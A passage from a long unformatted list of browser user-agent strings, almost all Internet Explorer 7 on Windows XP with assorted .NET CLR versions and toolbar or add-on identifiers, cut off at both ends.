3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.590; Alexa Toolbar; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Lunascape 5.0 alpha3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Zune 2.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Zango 10.0.370.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Zune 3.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; InfoPath.2; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Advanced Searchbar 3.36; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Advanced Searchbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Advanced Searchbar; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; SLCC1; Media Center PC 5.0; .NET CLR 3.0.04506; MEGAUPLOAD 2.0; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.6.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.0; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; iOpus-I-M; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Crazy Browser 3.0.0 Beta2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Deepnet Explorer 1.5.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Deepnet Explorer 1.5.3; Smart 2x2; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Deepnet Explorer 1.5.3; Smart 2x2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; DigExt; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FBSMTWB; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ESES) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FBSMTWB; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FBSMTWB; GTB6.3; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR.3.0.04131.06) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts-MyWay; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.8.4; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 10.2.203.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.314.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.328.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.3.35.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.3.36.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 2.0.50727; Zune 2.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Deepnet Explorer 1.5.2; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MEGAUPLOAD 2.0; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6.3; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 